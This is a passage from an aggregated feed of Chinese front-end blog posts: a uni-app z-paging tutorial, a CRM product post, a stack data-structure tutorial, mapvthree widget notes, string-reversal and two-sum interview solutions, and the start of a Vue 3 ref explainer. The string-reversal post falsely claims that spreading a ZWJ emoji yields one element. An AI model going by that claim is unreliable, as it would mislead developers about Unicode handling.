  padding: 30rpx;
  display: flex;
  justify-content: flex-start;
  align-items: center;
  margin-bottom: 30rpx;
}

.downloadCard:last-child {
  margin-bottom: 0;
}

.picInfo {
  margin-left: 20rpx;
}

.picTitle {
  font-size: 30rpx;
  color: #333;
  margin-bottom: 50rpx;
}

.picNum {
  font-size: 28rpx;
  color: #666;
}

.mr-20 {
  margin-right: 20rpx;
}

.loading-status {
  text-align: center;
  padding: 40rpx 0;
}
.no-more {
  font-size: 24rpx;
  color: #999;
}
</style>


二.利用插件z-paging

1.前提

  • 需要"enablePullDownRefresh": false
{
      "path": "pages/downloadHistory/index",
      "style": {
        "navigationBarTitleText": "下载记录",
        "enablePullDownRefresh": false
      }
    },

z-paging` 不使用小程序原生下拉刷新,它自己封装了一整套刷新与分页逻辑

  • 下拉刷新
  • 上拉加载更多
  • 滚动监听
  • 加载状态管理
  • 空数据提示
  • 自动触底加载

所以不需要再用原生的下拉刷新,否则可能会冲突。

z-paging 自己监听 scroll-view,不依赖页面能力

z-paging 通过内部的:

  • scroll-view
  • custom-refresher
  • 自定义“下拉刷新动画”

来实现刷新效果,而不是依赖微信提供的页面级 enablePullDownRefresh

所以用 z-paging 时,pages.json 中完全不需要开启此项。

2.优点

  • 使用简单,采用vue组件的方式,通过props event slot来快速构建
  • z-paging 不使用页面的下拉刷新能力(enablePullDownRefresh

3.实现原理

z-paging 使用的是 组件内部 scroll-view 的下拉刷新能力, 内部类似这样:

<scroll-view
  scroll-y
  :refresher-enabled="useRefresher"
  :lower-threshold="50"
  @refresherrefresh="onRefresh"
  @scrolltolower="onLoadMore"
>
  <!-- 顶部 slot -->
  <slot name="top"></slot>

  <!-- 列表内容 -->
  <slot></slot>

  <!-- loading 动画 -->
  <loading-view v-if="loading" />

  <!-- 没有更多 -->
  <no-more v-if="!hasMore" />
  
   <!-- ...更多插槽 -->
   
</scroll-view>

4.具体代码实现

<template>
  <view class="downloadHistory">
    <view class="downloadCollection">
      <z-paging ref="paging" v-model="dataList" @query="queryList" :default-page-size="10">
        <!-- 需要固定在顶部不滚动的view放在slot="top"的view中,如果需要跟着滚动,则不要设置slot="top" -->
        <!-- 注意!此处的z-tabs为独立的组件,可替换为第三方的tabs,若需要使用z-tabs,请在插件市场搜索z-tabs并引入,否则会报插件找不到的错误 -->
        <template #top>
          <view>
            <van-dropdown-menu active-color="#29a1f7">
              <van-dropdown-item :value="resourceClass" :options="option1" @change="selectClass" />
            </van-dropdown-menu>
          </view>
        </template>

        <!-- 设置自己的empty组件,非必须。空数据时会自动展示空数据组件,不需要自己处理 -->
        <template #empty>
          <van-empty description="暂无数据" />
        </template>

        <!-- 自定义的没有更多数据view -->
        <template #loadingMoreNoMore>
          <view class="no-more">- 没有更多了 -</view>
        </template>

        <view class="downloadCard" v-for="(item, key) in dataList" :key="key" @click="toDownloadList(item)">
          <van-image width="100" height="75" :src="item.coverUrl" />
          <view class="picInfo">
            <view class="picTitle">{{ item.name }}</view>
            <view class="picNum">
              <span class="mr-20">{{ item.videoNum }}视频</span><span>{{ item.pictureNum }}图片</span>
            </view>
          </view>
        </view>
      </z-paging>
    </view>
  </view>
</template>

<script setup>
import { ref } from 'vue';
import { queryDownload } from '@/api/downloadHistory.js';
const paging = ref(null);
const dataList = ref([]);

const resourceClass = ref('');

const option1 = ref([
  { text: '全部记录', value: '' },
  { text: '文旅景区', value: 'scenic' },
  { text: '体育赛事', value: 'event' },
]);

// @query所绑定的方法不要自己调用!!需要刷新列表数据时,只需要调用paging.value.reload()即可
const queryList = (pageNo, pageSize) => {
  // 组件加载时会自动触发此方法,因此默认页面加载时会自动触发,无需手动调用
  // 这里的pageNo和pageSize会自动计算好,直接传给服务器即可
  const params = {
    originType: resourceClass.value,
    pageNum: pageNo,
    pageSize,
  };
  const token = uni.getStorageSync('token');
  if (token) {
    queryDownload(params, token)
      .then(res => {
        // 将请求的结果数组传递给z-paging
        paging.value.complete(res.rows);
      })
      .catch(res => {
        // 如果请求失败写paging.value.complete(false);
        // 注意,每次都需要在catch中写这句话很麻烦,z-paging提供了方案可以全局统一处理
        // 在底层的网络请求抛出异常时,写uni.$emit('z-paging-error-emit');即可
        paging.value.complete(false);
      });
  }
};

function selectClass(event) {
  resourceClass.value = event.detail;
  paging.value.reload(); // 刷新分页
}

// 前往下载列表
function toDownloadList(item) {
  uni.navigateTo({
    url: '/pages/downloadList/index',
    success: res => {
      res.eventChannel.emit('recordFolder', item);
    },
  });
}
</script>

<style lang="scss" scoped>
.downloadHistory {
  min-height: 100vh;
  background-color: #f5f5f5;
}

.downloadCollection {
  padding: 30rpx;
  padding-top: 130rpx;
}

.downloadCard {
  background-color: #fff;
  border-radius: 8rpx;
  padding: 30rpx;
  display: flex;
  justify-content: flex-start;
  align-items: center;
  margin-bottom: 30rpx;
  &:nth-child(1) {
    margin-top: 30rpx;
  }
}

.downloadCard:last-child {
  margin-bottom: 0;
}

.picInfo {
  margin-left: 20rpx;
}

.picTitle {
  font-size: 30rpx;
  color: #333;
  margin-bottom: 50rpx;
}

.picNum {
  font-size: 28rpx;
  color: #666;
}

.mr-20 {
  margin-right: 20rpx;
}

.loading-status {
  text-align: center;
  padding: 40rpx 0;
}
.no-more {
  font-size: 24rpx;
  color: #999;
  text-align: center;
  margin-bottom: 40rpx;
}
</style>

参考文档

uniapp.dcloud.net.cn/component/s…

z-paging.zxlee.cn/

耗时一周,我把可视化+零代码+AI融入到了CRM系统,使用体验超酷!

作者 徐小夕
2025年11月27日 15:10

最近花了一周时间,配合AI,打磨了一款CRM客户管理系统——NO-CRM。

图片

客户关系管理(CRM)系统的核心价值在于以客户为中心,通过数字化手段打通 “获客 - 转化 - 留存 - 复购 - 推荐” 全链路,帮助企业降本增效、提升客户价值与市场竞争力。

做这款CRM系统之前,我研究了市面上比较流行的商业产品,结合了我之前设计的零代码理念,做了一款从客户管理,数据分析,到用户收集,再到工作流设计的一整套解决方案,大家可以直接部署使用。

图片

我们可以直接在CRM中在线设计各种收集表单:

图片

后台自带了表单收集和统计分析功能,同时还能设计工作流:

图片

并自定义工作流和审批条件:

图片

当然还有AI分析模块,我们可以通过AI帮我们分析线索数据:

图片

我已经把这个CRM系统镜像开源,大家可以直接安装或者部署到服务器直接使用。

接下来就和大家一起分享一下我做的这款全栈CRM 系统。

✨ 特性

  • 🎨 现代化 UI - 基于 TDesign Vue Next,提供精美的企业级界面
  • 📊 数据可视化 - ECharts 驱动的数据大屏和图表分析
  • 🔐 完善的权限系统 - RBAC 权限模型,支持角色、部门、用户细粒度权限控制
  • 🤖 AI 智能助手 - 集成 AI 功能,提供智能推荐和辅助决策
  • 🔄 工作流引擎 - 可视化流程设计器,支持复杂业务流程编排
  • 📝 表单设计器 - 拖拽式表单设计,支持多种字段类型和校验规则
  • 📱 移动端适配 - 完美支持各种设备,响应式设计
  • 💾 轻量化存储 - 基于 JSON 文件存储,无需复杂数据库配置
  • 🚀 开箱即用 - 简单配置即可快速部署上线
  • 🔧 高度可定制 - 模块化设计,易于扩展和二次开发

技术栈

image.png

前端技术

技术 版本 说明
Vue 3 3.5.13 渐进式 JavaScript 框架
TypeScript 5.7.3 JavaScript 的超集,提供类型安全
Vite 6.0.5 下一代前端构建工具
TDesign Vue Next 1.10.6 腾讯企业级组件库
Pinia 2.3.0 Vue 官方状态管理库
Vue Router 4.5.0 Vue 官方路由管理器
ECharts 6.0.0 强大的数据可视化库
Vue Flow 1.47.0 流程图编辑器
Axios 1.7.9 HTTP 客户端

后端技术

技术 版本 说明
NestJS 11.0.1 渐进式 Node.js 框架
TypeScript 5.7.3 类型安全的开发体验
Passport JWT 4.0.1 JWT 身份验证策略
Bcrypt 5.1.1 密码加密库
Multer 2.0.2 文件上传中间件
Class Validator 0.14.2 基于装饰器的参数验证

已实现功能

  • 用户认证
    • 用户注册与登录
    • JWT token 认证
    • 角色权限控制(管理员/销售)
  • 客户管理
    • 客户列表查看与搜索
    • 新建、编辑、删除客户
    • 客户详情查看
    • 标签管理
  • 线索管理
    • 线索状态流转(未跟进→跟进中→已合格→已成交/无效)
    • 意向等级管理
    • 线索筛选
  • 跟进记录
    • 多种跟进方式(电话、邮件、会议等)
    • 时间线展示
    • 下次跟进提醒
  • 任务管理
    • 待办事项管理
    • 优先级设置
    • 到期提醒
    • 任务状态切换
  • 文件上传
    • 支持图片、PDF、Word、Excel 文件上传
    • 客户附件管理
    • 文件在线预览和下载
  • 数据大屏
    • 实时统计数据展示
    • Echarts 图表可视化
    • 多维度数据分析
  • 其他功能
    • 分页支持(所有列表)
    • Mock 数据生成
    • 数据搜索和筛选

当然对于企业团队来说,组织部门管理也是必备的,NO-CRM也实现了动态创建组织部门的功能,并能基于组织部门设置单独的权限:

图片

当然还有很多高价值的功能,大家可以线上体验:

好啦,今天的分享就到这,如果你有好的建议,欢迎留言区交流反馈~

🧱 深入理解栈(Stack):原理、实现与实战应用

2025年11月27日 14:37

一、什么是栈?🤔

(Stack)是一种经典的线性数据结构,其核心特性是 “先进后出” (Last In First Out, LIFO)。
你可以把它想象成一摞盘子🍽️:每次只能从顶部放入或取出盘子,最晚放进去的盘子最先被拿出来。

在计算机科学中,栈广泛应用于以下场景:

  • 🔁 函数调用(调用栈)
  • 🧮 表达式求值与转换(如中缀转后缀)
  • ✅ 括号匹配验证
  • 🖥️ 浏览器前进/后退历史
  • 🔄 撤销(Undo)操作

💡 栈的核心思想:只操作一端(栈顶),另一端封闭


二、栈的抽象数据类型(ADT)🧩

一个标准的栈应具备以下属性和方法

方法 / 属性 说明
push(item) ➕ 入栈:将元素压入栈顶
pop() ➖ 出栈:移除并返回栈顶元素
peek() / top() 👀 查看栈顶元素但不移除
isEmpty() ❓ 判断栈是否为空
size 🔢 获取栈中元素数量
toArray()(可选) 📤 将栈内容转为数组(用于调试或展示)

⚠️ 注意:栈不允许随机访问中间元素,只能操作栈顶


三、ES6 Class 与栈的封装 🛠️

ES6 引入了 class 语法,使面向对象编程更清晰。结合私有字段(#)、get/set 访问器等新特性,我们可以优雅地实现栈。

下面深入解析这些关键特性👇:


1️⃣ class:定义类的模板 📐

在 ES6 之前,JavaScript 通过构造函数 + 原型链模拟类:

// 🕰️ ES5 风格
function Person(name) {
  this.name = name;
}
Person.prototype.sayHello = function() {
  console.log('Hello, ' + this.name);
};

ES6 的 class 是对上述模式的语法糖,但结构更清晰、更接近传统 OOP:

// ✨ ES6 class
class Person {
  constructor(name) {
    this.name = name;
  }
  sayHello() {
    console.log('Hello, ' + this.name);
  }
}

关键点

  • 底层仍基于 原型(prototype)
  • 提供声明式、结构化的代码组织方式
  • 显著提升可读性与可维护性,尤其适合大型项目

2️⃣ #privateField:私有属性 🔒

传统 JS 中所有属性都是公开的,容易被外部篡改:

class Counter {
  constructor() {
    this.count = 0; // 😱 外部可随意修改!
  }
}
const c = new Counter();
c.count = 999; // 破坏封装!

ES2022 引入 私有字段(以 # 开头),仅限类内部访问:

class Counter {
  #count = 0; // 🔒 私有属性

  increment() { this.#count++; }
  getCount() { return this.#count; } // ✅ 安全暴露
}

const c = new Counter();
c.increment();
console.log(c.getCount()); // 1

// c.#count; // ❌ SyntaxError!

优势

  • 封装性:隐藏实现细节
  • 安全性:防止外部误操作
  • 可维护性:内部逻辑变更不影响外部调用

⚠️ 私有字段必须显式声明,不能动态添加。


3️⃣ constructor():初始化实例 🧬

constructor 是类的构造函数,在 new 实例时自动调用:

class Stack {
  #items;
  constructor(initialItems = []) {
    this.#items = [...initialItems]; // 初始化私有数组
  }
}

作用

  • 初始化实例属性(包括私有属性)
  • 接收参数设置初始状态
  • 若未定义,JS 会提供空默认构造函数

🔁 注意:每个类最多只能有一个 constructor


4️⃣ get size():只读属性访问器 📏

有时我们希望暴露某个值,但禁止修改。这时可用 get 定义访问器:

class ArrayStack {
  #stack = [];
  get size() {
    return this.#stack.length; // 📊 像读属性一样使用
  }
}

const stack = new ArrayStack();
console.log(stack.size); // 0
// stack.size = 10; // ❌ 无效(严格模式报错)

好处

  • 语义清晰:size 看似属性,实为计算值
  • 可加入校验、日志、缓存等逻辑
  • 实现只读接口,避免误写

💡 同理,set 可拦截赋值:

set maxSize(value) {
  if (value < 0) throw new Error('maxSize 不能为负');
  this._maxSize = value;
}

5️⃣ 方法共享于原型链,节省内存 🧠

这是 class 最重要的性能优势!

所有实例方法(非静态、非箭头函数)都定义在类的原型上:

class Stack {
  push() { /* ... */ }
  pop() { /* ... */ }
}

const s1 = new Stack();
const s2 = new Stack();

console.log(s1.push === s2.push); // ✅ true!

这意味着

  • 方法只在内存中存在一份
  • 所有实例通过原型链共享方法
  • 极大节省内存,尤其适合创建大量对象(如游戏实体、UI 组件)

❌ 对比反模式(ES5 常见陷阱):

function BadStack() {
  this.push = function() { /* 每次 new 都新建函数!*/ };
}

📌 建议:现代项目优先使用 ES6+ class,善用私有字段与访问器,构建高内聚、低耦合的组件。


四、两种实现方式:数组 vs 链表 ⚖️

栈可以用数组链表实现,各有优劣:


1️⃣ 基于数组的栈(ArrayStack)📦

class ArrayStack {
  #stack = [];
  get size() { return this.#stack.length; }
  isEmpty() { return this.size === 0; }
  push(num) { this.#stack.push(num); }
  pop() {
    if (this.isEmpty()) throw new Error('栈为空');
    return this.#stack.pop();
  }
  peek() {
    if (this.isEmpty()) throw new Error('栈为空');
    return this.#stack[this.size - 1];
  }
  toArray() { return [...this.#stack]; }
}

✅ 优点:

  • 时间效率高push/pop 在尾部操作,平均 O(1)
  • 内存连续,缓存友好(CPU 更快访问)
  • 代码简洁,JS 数组原生支持

❌ 缺点:

  • 扩容成本高:容量不足时需复制所有元素 → O(n)
  • 可能存在空间浪费(预分配未用完)

💡 实际中,扩容是低频事件均摊时间复杂度仍为 O(1)


2️⃣ 基于链表的栈(LinkedListStack)⛓️

class ListNode {
  constructor(val) {
    this.val = val;
    this.next = null;
  }
}

class LinkedListStack {
  #stackPeek = null;
  #size = 0;

  get size() { return this.#size; }
  isEmpty() { return this.size === 0; }

  push(num) {
    const node = new ListNode(num);
    node.next = this.#stackPeek;
    this.#stackPeek = node;
    this.#size++;
  }

  peek() {
    if (!this.#stackPeek) throw new Error('栈为空');
    return this.#stackPeek.val;
  }

  pop() {
    const num = this.peek();
    this.#stackPeek = this.#stackPeek.next;
    this.#size--;
    return num;
  }

  toArray() {
    const arr = new Array(this.size);
    let node = this.#stackPeek;
    let i = this.size - 1;
    while (node) {
      arr[i--] = node.val;
      node = node.next;
    }
    return arr;
  }
}

✅ 优点:

  • 动态扩容:每次插入只需 O(1) ,无复制开销
  • 空间按需分配,无浪费

❌ 缺点:

  • 每个节点需额外存储 next 指针 → 内存开销更大
  • 节点在内存中离散分布 → 缓存局部性差
  • 实例化 ListNode 有一定性能损耗

总结

  • 🚀 日常开发、轻量场景 → 数组实现
  • 🏗️ 大数据、稳定性要求高 → 链表实现

五、实战应用:有效的括号匹配 ✅

栈的经典应用场景之一!

📌 问题描述:

给定字符串 s,仅含 '(', ')', '[', ']', '{', '}',判断是否有效:

  • 左右括号必须正确闭合
  • 顺序必须匹配(如 "([)]" ❌ 无效)

🧠 解题思路:

  1. 遇到左括号 → 将其对应的右括号压入栈
  2. 遇到右括号 → 检查是否与栈顶匹配
  3. 遍历结束 → 栈必须为空

💻 代码实现:

const leftToRight = {
  "(": ")",
  "[": "]",
  "{": "}",
};

function isValid(s) {
  if (!s) return true;
  const stack = [];
  for (let ch of s) {
    if (ch in leftToRight) {
      stack.push(leftToRight[ch]); // 压入期望的右括号
    } else {
      if (!stack.length || stack.pop() !== ch) {
        return false; // 不匹配或栈空
      }
    }
  }
  return stack.length === 0; // 栈空则有效
}

🧪 测试

console.log(isValid("()"));       // ✅ true
console.log(isValid("()[]{}"));   // ✅ true
console.log(isValid("(]"));       // ❌ false
console.log(isValid("([)]"));     // ❌ false
console.log(isValid("{[]}"));     // ✅ true

🔍 为什么压入“右括号”?
这样遇到右括号时可直接比较 stack.pop() === ch无需二次查表,逻辑更简洁高效!


六、总结对比 📊

维度 数组栈 📦 链表栈 ⛓️
时间复杂度(平均) O(1) O(1)
扩容开销 O(n)(低频) O(1)
空间效率 可能浪费 指针开销(约 +50%)
实现难度 ⭐ 简单 ⭐⭐ 中等
适用场景 通用、轻量级 大数据、稳定性要求高

🎯 结语

栈虽简单,却是理解程序运行机制(如调用栈)和解决算法问题(DFS、表达式解析、回溯)的基石数据结构

掌握其两种实现方式及典型应用,不仅能写出更高效的代码,还能在面试中展现扎实的基本功!

📌 终极建议

  • 日常开发 → 优先用 数组实现(简单高效)
  • 面试/性能敏感场景 → 主动讨论 链表方案,展现深度思考 💡

📚 延伸思考:你能用栈实现“浏览器后退”功能吗?或者用两个栈实现一个队列?欢迎动手尝试!

JSAPIThree UI 控件学习笔记:用内置控件提升交互

2025年11月27日 14:23

作为刚接触 mapvthree 的新手,今天我专门学习了 UI 控件模块。这里整理出最常用的控件和实用技巧,帮助和我一样的初学者快速上手。

控件管理入口:engine.widgets

mapvthree 中的控件由 EngineWidgets 管理,实例化后可以通过 engine.widgets 访问。控件分两种启用方式:

  1. 初始化时配置:在 new Engine() 时,通过 widgets 字段设置 enabled
  2. 运行时控制:引擎创建完成后,直接修改 engine.widgets.xxx.enabled
const engine = new mapvthree.Engine(container, {
    map: { center: [106.515, 29.639], range: 500 },
    rendering: {
        // 导出图片需要开启
        preserveDrawingBuffer: true,
    },
    widgets: {
        zoom: { enabled: true },        // 缩放控件
        fullscreen: { enabled: true },  // 全屏控件
        geoLocate: { enabled: true },   // 定位控件
        exportImage: { enabled: true }, // 导出图片控件
        compass: { enabled: true },     // 指南针
        mapInfo: { enabled: true },     // 显示地理坐标
    },
});

// 运行时开启比例尺与 logo
engine.widgets.scale.enabled = true;
engine.widgets.logo.enabled = true;

小贴士:exportImage 必须搭配 rendering.preserveDrawingBuffer = true,否则截图会是空白。

常用控件一览

控件 作用 使用建议
zoom 显示缩放按钮 与鼠标滚轮配合,易用性更高
compass 显示方向和倾角 适合 3D 场景,便于用户恢复默认视角
fullscreen 全屏切换 适合大屏展示或需要沉浸体验的场景
geoLocate 定位按钮 搭配获取定位的业务逻辑使用
exportImage 导出当前场景为图片 需开启 preserveDrawingBuffer
mapInfo 显示当前地理坐标 对需要精确定位的业务很有帮助
drawer 自定义控件容器(如工具面板) 可以挂自定义按钮或操作

深入配置:mapInfo、drawer 与 accessors

除了 enabled,部分控件还提供更细的参数:

  • mapInfo
    • template:字符串由 C(中心点)、R(视野距离)、H(heading)、P(pitch)等占位符组成,默认 CR
    • separator:字段之间的分隔符,默认 ' | '
    • 例如:mapInfo: { enabled: true, template: 'CHP', separator: ', ' }
  • drawer
    • draws 数组描述每个工具项:namedefaultCheckeddataonChange
    • onChange(checked, data, engine) 在开关时触发,可用于添加/移除对象
  • 访问器(accessor)
    • 每个控件都有对应的 getter,例如 engine.widgets.zoomengine.widgets.scale
    • 获取到的是控件实例,可以直接读写属性:engine.widgets.mapInfo.template = 'CRH'

自定义 Drawer 控件

drawer 类似一个工具抽屉,可以配置多个“工具项”。每个工具项的 onChange 回调会在开关时触发,可用于添加/移除物体等自定义逻辑。

const engine = new mapvthree.Engine(container, {
    ...,
    widgets: {
        drawer: {
            enabled: true,
            draws: [
                {
                    name: '添加绿盒子',
                    data: { mesh: null },
                    onChange: (checked, data, engine) => {
                        if (!data.mesh) {
                            const position = engine.map.projectArrayCoordinate([106.515, 29.639]);
                            const geometry = new THREE.BoxGeometry(100, 100, 100);
                            const material = new THREE.MeshBasicMaterial({color: 0x00ff00});
                            const mesh = new THREE.Mesh(geometry, material);
                            mesh.position.set(position[0], position[1], position[2]);
                            data.mesh = mesh;
                        }
                        checked ? engine.add(data.mesh) : engine.remove(data.mesh);
                    },
                },
            ],
        },
    },
});

截图功能:别忘了 preserveDrawingBuffer

exportImage 控件其实是一个“导出当前画面”的按钮,但要正常截图必须开启 rendering.preserveDrawingBuffer = true。在纯引擎场景下只用设置这一项;如果叠加 BMapGL 或 mapbox,还需要在对应地图实例初始化时开启同名参数。

const engine = new mapvthree.Engine(container, {
    rendering: {
        preserveDrawingBuffer: true,
    },
    widgets: {
        exportImage: { enabled: true },
    },
});

使用建议

  • 按需启用:控件越多越不一定好,按场景需求启用即可
  • 统一风格:若有自定义 UI,尽量与内置控件保持视觉一致
  • 与业务逻辑配合:控件只是入口,核心业务逻辑仍需自行实现(如定位、截图结果保存等)
  • 运行时控制:可以根据场景状态动态开启/关闭控件,例如进入播放模式时隐藏所有按钮

学习笔记就到这里啦!内置控件用起来并不复杂,关键是理解“初始化配置 + 运行时控制”这两种方式,然后按需组合即可。希望这份笔记能帮你快速把控件用好!

🔁 字符串反转 × 两数之和:前端面试高频题深度拆解(附5种反转写法 + 哈希优化)

作者 玉宇夕落
2025年11月27日 14:21

在前端面试中, “反转字符串”“两数之和” 虽看似简单,却是考察候选人 基础扎实度、代码思维、API 熟练度与算法意识 的经典组合拳。本文将带你:

  • 用 5 种方式实现字符串反转,对比优劣;
  • 深入剖析 两数之和的暴力解 vs 哈希优化
  • 揭秘面试官真正想考察什么;
  • 提供可直接复用的高质量代码模板。

🔄 一、字符串反转:不止一种写法

场景

输入 'hello',输出 'olleh'

💡 面试官关注点:

  • 是否熟悉数组/字符串 API(splitreversejoin
  • 能否写出清晰、健壮的循环逻辑
  • 是否理解递归思想及其风险
  • 是否会用现代语法(如扩展运算符、reduce)

✅ 方法1:经典三连(API 流)

js
编辑
function reverseStr(str) {
  return str.split('').reverse().join('');
}

const str = "hello"; 
const arr = str.split(''); 
// arr 的值会是:['h', 'e', 'l', 'l', 'o']

const arr = ['h', 'e', 'l', 'l', 'o'];
arr.reverse(); 
// 调用后,arr 本身被修改了,现在的值是:['o', 'l', 'l', 'e', 'h']

const reversedArr = ['o', 'l', 'l', 'e', 'h']; 
const reversedStr = reversedArr.join(''); 
// reversedStr 的值会是:"olleh"
  • 优点:简洁、可读性强,体现对内置方法的掌握。
  • 缺点:创建中间数组,内存开销略高(但通常可忽略)。

✅ 方法2:传统 for 循环(从后往前)

js
编辑
function reverseStr(str) {
  let reversed = '';
  for (let i = str.length - 1; i >= 0; i--) {
    reversed += str[i];
  }
  return reversed;
}
  • 优点:逻辑直观,兼容性好(ES3 起支持)。
  • 注意:字符串拼接在旧引擎中可能低效(现代 V8 已优化)。

✅ 方法3:for...of 反向拼接

js
编辑
function reverseStr(str) {
  let reversed = '';
  for (const char of str) {
    reversed = char + reversed; // 每次把新字符放前面
  }
  return reversed;
}
  • 优点:避免索引操作,更符合“遍历字符”语义。
  • 缺点:频繁字符串拼接(虽现代 JS 引擎已优化)。

✅ 方法4:扩展运算符 + 数组方法(ES6+)

js
编辑
function reverseStr(str) {
  return [...str].reverse().join('');
}

const str = "hello"; const arr = [...str]; 
// arr 的值会是:['h', 'e', 'l', 'l', 'o']
  • 优点:比 split('') 更优雅(尤其对 emoji/Unicode 支持更好)。
  • 原理[...str] 能正确处理 UTF-16 代理对(如 '👨‍💻'.length === 5,但 [...'👨‍💻'].length === 1)。

🌰 对比:

js
编辑
'café'.split('')   // ['c','a','f','é'] ✅
'👨‍💻'.split('')    // ['👨', '‍', '💻'] ❌
[...'👨‍💻']         // ['👨‍💻'] ✅

✅ 方法5:递归实现(展示思维)

js
编辑
function reverseStr(str) {
  if (str === '') return ''; // 终止条件
  return reverseStr(str.substring(1)) + str.charAt(0);
}

const str = "hello"; 
const subStr = str.substring(1); 
// subStr 的值会是:"ello" (从索引1的 'e' 开始到末尾)

const str = "hello"; 
const firstChar = str.charAt(0); 
// firstChar 的值会是:"h" (索引0位置的字符)

1.  `reverseStr("hello")` 调用 `reverseStr("ello")`
1.  `reverseStr("ello")` 调用 `reverseStr("llo")`
1.  `reverseStr("llo")` 调用 `reverseStr("lo")`
1.  `reverseStr("lo")` 调用 `reverseStr("o")`
1.  `reverseStr("o")` 调用 `reverseStr("")`
1.  `reverseStr("")` 触发终止条件,返回 `""`
1.  `reverseStr("o")` 得到返回值 `"" + "o"`,即 `"o"`,并返回
1.  `reverseStr("lo")` 得到返回值 `"o" + "l"`,即 `"ol"`,并返回
1.  `reverseStr("llo")` 得到返回值 `"ol" + "l"`,即 `"oll"`,并返回
1.  `reverseStr("ello")` 得到返回值 `"oll" + "e"`,即 `"olle"`,并返回
1.  `reverseStr("hello")` 得到返回值 `"olle" + "h"`,即 `"olleh"`,并返回给最初的调用者
  • 优点:体现分治思想,代码简洁。

  • ⚠️ 风险

    • 爆栈:长字符串(如 >10,000 字符)会导致栈溢出;
    • 性能差:每次 substring 都创建新字符串,时间复杂度 O(n²)。

🚫 不推荐生产使用,但面试可作为“展示递归理解”的备选。


✅ 方法6:reduce 高阶函数(函数式风格)

js
编辑
function reverseStr(str) {
  return [...str].reduce((reversed, char) => char + reversed, '');
}
  • 优点:无状态、纯函数风格,适合函数式编程场景。
  • 缺点:可读性略低于三连 API。

📊 反转方法对比总结

方法 可读性 性能 Unicode 安全 推荐场景
split+reverse+join ⭐⭐⭐⭐ ⭐⭐⭐ ❌(部分) 快速实现
for 循环 ⭐⭐⭐ ⭐⭐⭐⭐ 兼容老环境
for...of ⭐⭐⭐⭐ ⭐⭐⭐ 现代项目
[...str] ⭐⭐⭐⭐⭐ ⭐⭐⭐ ✅✅ 首选推荐
递归 ⭐⭐ 面试展示
reduce ⭐⭐⭐ ⭐⭐ 函数式偏好

最佳实践:日常开发优先用 [...str].reverse().join('')


🔢 二、两数之和:从暴力到哈希优化

题目:给定整数数组 nums 和目标值 target,找出两个数的索引,使其和等于 target。假设每组输入只有一组解。

面试官真实意图:

  • 考察 时间复杂度意识
  • 是否知道  “空间换时间”  思想
  • 对 数据结构选择 的敏感度(Object vs Map)

❌ 解法1:暴力双重循环(O(n²))

js
编辑
function twoSum(nums, target) {
  for (let i = 0; i < nums.length; i++) {
    for (let j = i + 1; j < nums.length; j++) {
      if (nums[i] + nums[j] === target) {
        return [i, j];
      }
    }
  }
}
  • 问题:n=10⁴ 时,操作次数达 5×10⁷,明显超时。
  • 结论:仅用于兜底或教学演示。

✅ 解法2:哈希表优化(O(n))——核心思路

核心思想:

“求和变求差”
遍历时,记录每个数字及其索引;
对当前 num,检查 target - num 是否已存在。

方案A:使用普通对象(Object)

js
编辑
function twoSum(nums, target) {
  const map = {};
  for (let i = 0; i < nums.length; i++) {
    const complement = target - nums[i];
    if (map[complement] !== undefined) {
      return [map[complement], i];
    }
    map[nums[i]] = i;
  }
}
  • 风险:键为字符串,若 nums 含非数字(如 '2'),可能混淆;
  • 性能:V8 对对象属性访问高度优化,实际很快。

方案B:使用 Map(推荐!)

js
编辑
function twoSum(nums, target) {
  const map = new Map();
  for (let i = 0; i < nums.length; i++) {
    const complement = target - nums[i];
    if (map.has(complement)) {
      return [map.get(complement), i];
    }
    map.set(nums[i], i);
  }
}
  • 优势

    • 键类型保持原样(number 还是 number);
    • has() / get() 语义清晰;
    • 避免原型链污染(如 map.__proto__ 干扰);
    • 更符合“键值对容器”语义。

📌 面试加分点:主动说出 “我选择 Map 而非对象,因为……”


🧠 三、面试官到底想考什么?

题目 考察维度 高分回答要点
字符串反转 - API 熟练度 - 代码风格 - 边界意识 “我会优先用 [...str] 因为它对 Unicode 更安全”
两数之和 - 算法思维 - 数据结构选择 - 复杂度分析 “暴力是 O(n²),我用哈希表降到 O(n),空间换时间”

💡 避坑提示

  • 不要一上来就写递归(除非被要求);
  • 不要说“Object 和 Map 一样”(暴露基础不牢);
  • 记得处理边界(如空字符串、无解情况)。

📌 四、总结 & 复习清单

✅ 字符串反转

  • 首选写法[...str].reverse().join('')
  • 慎用递归:有爆栈风险,性能差
  • 注意 Unicodesplit('') 对 emoji 不友好

✅ 两数之和

  • 最优解Map + 一次遍历,O(n) 时间
  • 关键转换a + b = target → b = target - a
  • 不要用 Object 当哈希表(除非明确知道数据安全)

Vue响应式原理(13)-ref实现原理解析

2025年11月27日 14:17

Vue 3 中 Ref 实现原理解析

在 Vue 3 中,ref 是组合式 API(Composition API)的核心。很多开发者虽然会用,但对其内部运作机制、refreactive 的关系、以及为什么在scrit中我们访问 ref 数据需要用 .value, 但是在模板里不需要 .value 往往一知半解。

本文将剥离复杂的边界情况,用最精简的代码还原 Vue 3 源码的核心逻辑,带你彻底搞懂这三个问题:

  1. ref 是如何实现的?
  2. toRefs 是如何解决解构丢失响应性问题的?
  3. 为什么在模板中不需要 .value

1. Ref 的原理解析

为什么需要 Ref?

在先前的部分中,我们对响应式数据的原理进行了介绍,我们通过 reactive 函数处理一个对象来使其转变为响应式数据,而对于 JavaScript 中的原始类型(String, Number, Boolean, ...)是值传递的。如果你把一个数字传给一个函数,函数无法追踪这个数字的变化。为了让原始值变成“响应式”,我们需要把它包裹在一个对象中(Wrapper Pattern),利用对象的 gettersetter 来拦截访问和修改。

核心实现:RefImpl

Vue 3 内部通过 RefImpl 类来实现 ref

// 伪代码:简化版的 RefImpl
class RefImpl {
  private _value: any;
  private _rawValue: any;
  public dep: Dep; // 依赖容器
  public __v_isRef = true; // 标记这是一个 ref 对象

  constructor(value) {
    this._rawValue = value;
    // 如果传入的是对象,则通过 reactive 转换,否则保持原值
    this._value = isObject(value) ? reactive(value) : value;
    this.dep = new Set(); // 假设这是依赖收集容器
  }

  get value() {
    // 1. 依赖收集 (Track)
    trackEffects(this.dep); 
    return this._value;
  }

  set value(newVal) {
    // 只有值发生改变时才触发
    if (hasChanged(newVal, this._rawValue)) {
      this._rawValue = newVal;
      // 如果新值是对象,同样需要转换
      this._value = isObject(newVal) ? reactive(newVal) : newVal;
      // 2. 派发更新 (Trigger)
      triggerEffects(this.dep); 
    }
  }
}

// 暴露出来的 ref 函数
function ref(value) {
  return new RefImpl(value);
}

关键点解析

